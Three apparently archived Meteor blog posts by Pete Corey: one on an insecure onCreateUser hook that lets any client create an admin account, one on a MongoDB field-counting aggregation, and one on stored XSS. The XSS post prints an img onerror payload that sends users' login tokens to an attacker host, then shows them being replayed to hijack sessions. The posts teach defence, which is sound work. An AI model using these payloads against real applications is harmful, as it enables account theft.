Never Forget Where Your Code Runs

Written by Pete Corey on Sep 21, 2015.

I often warn about the dangers of blindly trusting user provided data. There are times, though, when it’s easy to forget where your data comes from. Sir Charles Watson brought up a good example of this when he found a security issue revolving around an insecure onCreateUser hook.

Imagine that somewhere in your application you’ve defined an onCreateUser callback like the one below:

Accounts.onCreateUser(function(options, user) {
  user.isAdmin = !!options.isAdmin;
  return user;
});

The isAdmin flag is set in a method used by administrators to create new admin users:

Meteor.methods({
  createAdminUser: function(email) {
    check(username, String);

    var user = Meteor.users.findOne(this.userId);
    if (user && user.isAdmin) {

      var newUserId = Accounts.createUser({
        email: email,
        isAdmin: true
      });

      Accounts.sendEnrollmentEmail(newUserId);
    }
  }
});

This looks secure enough. We’re asserting that the username is a String, and that the currently logged in user has the appropriate authorization to create a new admin user. No one could tamper with this method and fraudulently create an admin account.

Unfortunately, we’re forgetting that createUser can also be called from the client. Additionally, any client can provide their own options argument. An in-the-know user could create an admin account by running this code in their browser console:

Accounts.createUser({
  username: "loladmin",
  password: "loladmin",
  isAdmin: true
});

After running the above line, the user would be logged in and granted full administrator permissions.


There are two obvious fixes to this security issue. The first, and by far the most straight-forward is to simply disable user account creation on the client using forbidClientAccountCreation. This may not be the best solution, though, as it would prevent users from signing up with your application. Only administrators would be able to create users through server-side methods.

A better solution may be to remove the onCreateUser callback and move the admin creation functionality into an entirely separate method:

Meteor.methods({
  createAdminUser: function(email) {
    check(email, String);

    var user = Meteor.users.findOne(this.userId);
    if (user && user.isAdmin) {

      var newUserId = Accounts.createUser({
        email: email
      });

      Meteor.call(“makeUserAdmin”, newUserId);
      Accounts.sendEnrollmentEmail(newUserId);
    }
  },
  makeUserAdmin: function(userId) {
    check(userId, String);
    var user = Meteor.users.findOne(this.userId);
    if (user && user.isAdmin) {
      Meteor.users.update(userId, {
        $set: {
          isAdmin: true
        }
      });
    }
  }
});

Using this solution, users can still register for your application using createUser on the client, and admins can still create new admin users using the createAdminUser method.


This issue is indicative of a broader issue with developing Meteor. Developers often forget that most of the code they’re writing is isomorphic. Most of the code you write can (and will be) run on both the server and the client.

Sometimes it’s easy to lose track of where your code can be executed. Is the file you’re editing buried deep within a server folder? Is the code you’re writing wrapped in a Meteor.isServer guard? Is the code you’re writing in any way triggerable by a client-side action? These questions can be cognitive burdens, but they’re important to keep in mind at all times when developing secure Meteor applications.

Counting Fields With Mongo Aggregations

Written by Pete Corey on Sep 14, 2015.

This past week I spent time wrestling with a particularly difficult MongoDB aggregation. For my own sake, I figured I should document what I learned.

Imagine you have a set of users working through various workflows. The users’ current workflow state is held in a subdocument whos name relates to the name of their active workflow. For example, the first two users below are currently in workflow “A”, while the third user is in workflow “B”:

/* 0 */
{
  _id: "...",
  workflow: {
    A: {
      pos: 3
    }
  }
}

/* 1 */
{
  _id: "...",
  workflow: {
    A: {
      pos: 1
    }
  }
}

/* 2 */
{
  _id: "...",
  workflow: {
    B: {
      pos: 4
    }
  }
}

My goal is to find out how many users are currently in workflow “A”, and how many are in workflow “B”. Without further ado, here’s the aggregate query I ended up with:

db.users.aggregate([
    {
        $group: {
            _id: null,
            in_workflow_a: {$sum: {$cond: [{$gte: ['$workflow.A, null]}, 1, 0]}},
            in_workflow_b: {$sum: {$cond: [{$gte: ['$workflow.B, null]}, 1, 0]}}
        }
    }
])

Let’s break it down piece by piece.

Since I’m interested the states of all users in the system, I’m not using a $match block. If you wish to you limit your query to a specific subset of users, you could do that filter in an initial $match:

db.users.aggregate([
    {
        $match: {
            _id: {
                $in: [
                    user Ids...
                ]
            }
        }
    },
    ...
])

The first thing you’ll notice about the $group block is that we’re specifying a null _id. This use of _id is fairly well documented, and essentially means we’ll group all of the documents we’re matching over into a single result document.

The next bit is the interesting part. We’re defining two fields that will appear in our result document: in_workflow_a, and in_workflow_b. We build up each of these fields with a $sum. We want to add 1 to these fields if the respective workflow subdocument exists, and 0 if it does not. We accomplish this by using the $cond aggregation operator.

The way we’re using $cond is fairly interesting. My first attempts at writting this aggregation used $exists within the $cond, but Mongo was unhappy about that:

uncaught exception: aggregate failed: {
  "errmsg" : "exception: dotted field names are only allowed at the top level",
  "code" : 16405,
  "ok" : 0
}

David Weldon led me out of the darkness with an interesting comparison trick. By using $gte to compare the potentially non-existant workflow object against null, we can easily determine whether it exists or not. When Mongo compares values of different types, it uses this comparison order. As you can see, aside from the internally used MinKey type, every other BSON type is considered canonically greater than null. This means that an empty or null field will return false, and any other types or values will return true!

The final result of our aggregation looks something like this:

/* 0 */
{
    "result" : [ 
        {
            "_id" : null,
            "in_workflow_a" : 2,
            "in_workflow_b" : 1
        }
    ],
    "ok" : 1
}

Victory! The aggregation loops through all users in the system, incrementing the counter for each users current workflow, and finally returns the total counts.

Hijacking Meteor Accounts With XSS

Written by Pete Corey on Sep 7, 2015.

You’ve probably heard the term “XSS”, or cross-site scripting, floating around the Meteor community. You’ve probably also heard that the browser-policy package prevents XSS. Great! But… What is XSS?

Let’s pretend that we’ve built an awesome new Telescope application, and we’ve decided to get a little radical with our design. We’ve given our users the ability to embed images in their post titles! Our custom post_title template looks something like this:

<template name="custom_post_title">
  <h3 class="post-title {{moduleClass}}">
    <a href="{{this.getLink}}">{{{title}}}</a>
  </h3>
</template>

Great! Now our users can use <img> tags to embed pictures directly in their post titles. There’s absolutely nothing that go wrong here, right? Well…

The Dangers of XSS

This change has actually exposed our application to a particularly dangerous form of cross-site scripting; Stored XSS. We’ve given users the ability to enter potentially malicious markup in their titles. Check out this example title:

<img src="fakeurl"
     onerror="$.get('//www.malicio.us/'+localStorage['Meteor.loginToken'])"
     alt="Cats suck!">

Now, imagine that the bad person who posted this title has a simple web server running on www.malicio.us listening for and logging any GET requests it recieves. After a few innocent users stumble across this post on our Telescope application, their sensitive login tokens would be pulled from their local storage and sent to malicio.us. The malicio.us web logs would look something like this:

GET http://www.malicio.us/g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D
GET http://www.malicio.us/LPPp7Tdb_qveRwa7-dLeCAxpqpc9oYM53Gt0HG6kwQ5
GET http://www.malicio.us/go9olSuebBjfQQqTrL-86d_LlfcctG848r7dBhW_kCL

The attacker who posted the malicious title could easily steal any of these active sessions by navigating to our Meteor application and running the following code in their browser console:

Meteor.loginWithToken("g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D");

And just like that, a user’s account has been stolen.


The crux of the issue here is that we’re using a triple-brace tag to insert raw HTML directly into the DOM. Without any kind of sanitation or validation, we have no way of knowing that users aren’t providing us with malicious markup that will potentially run on all of our users’ browsers.

In this case, the attacker simply grabbed the current user’s loginToken out of local storage with the intent of hijacking their account. XSS attacks can be far more sophisticated, though. They can be as subtle as silently calling methods on behalf of the client, and as lavish as constructing entire user interface components designed to extract sensitive information (credentials, credit card numbers, etc…) from users.

Your Meteor application is not solely exposed to cross-site scripting through the use of triple-brace tags. Malicious HTML/JavaScript can be introduced into your Blaze-powered application through the use of SafeString, dynamic attributes, and dynamic attribute values, to name a few. When using these techniques with user-provided data, be especially sure that you’re properly sanitizing or validating the data before sending it into the DOM.

Browser-policy as a safety net

The browser-policy package enables your Meteor application to establish its Content Security Policy, or CSP. The goal of CSP is to prevent unexpected JavaScript from running on your page.

However, browser-policy package is not a turnkey solution to our XSS problem. It requires some configuration to be especially useful. David Weldon has an excellent guide outlining the benefits of using browser-policy and how to go about tuning it to your application. For our application, we would want to make sure that we’re disallowing inline scripts:

BrowserPolicy.content.disallowInlineScripts();

By disallowing inline scripts, the JavaScript found in the onerror of the image tag would not be allowed to run. This would effectively stop the XSS attack dead in its tracks.

While CSP is an amazing tool that can be used to harden your application against attackers, I believe that it should be considered your last line of defense. You should always try to find and eradicate all potential sources of cross-site scripting, rather than relying on the browser-policy to prevent it. There is always the chance that you may have misconfigured your browser-policy. On top of that, Content Security Policy isn’t supported on older browsers.

Final Thoughts

Keep in mind that this was just a single example of cross-site scripting in action. Attackers can use a variety of other techniques and methods in order to achieve their nefarious intents.

The truth is, XSS attacks are relatively rare in Meteor applications. The Meteor team made a great decision when going with a secure default for value interpolation (double-brace tags). However, there are still scenarios where XSS can rear its ugly head in your Meteor application. In addition to using and configuring browser-policy, you should try to identify and fix any potential areas where cross-site scripting may occur.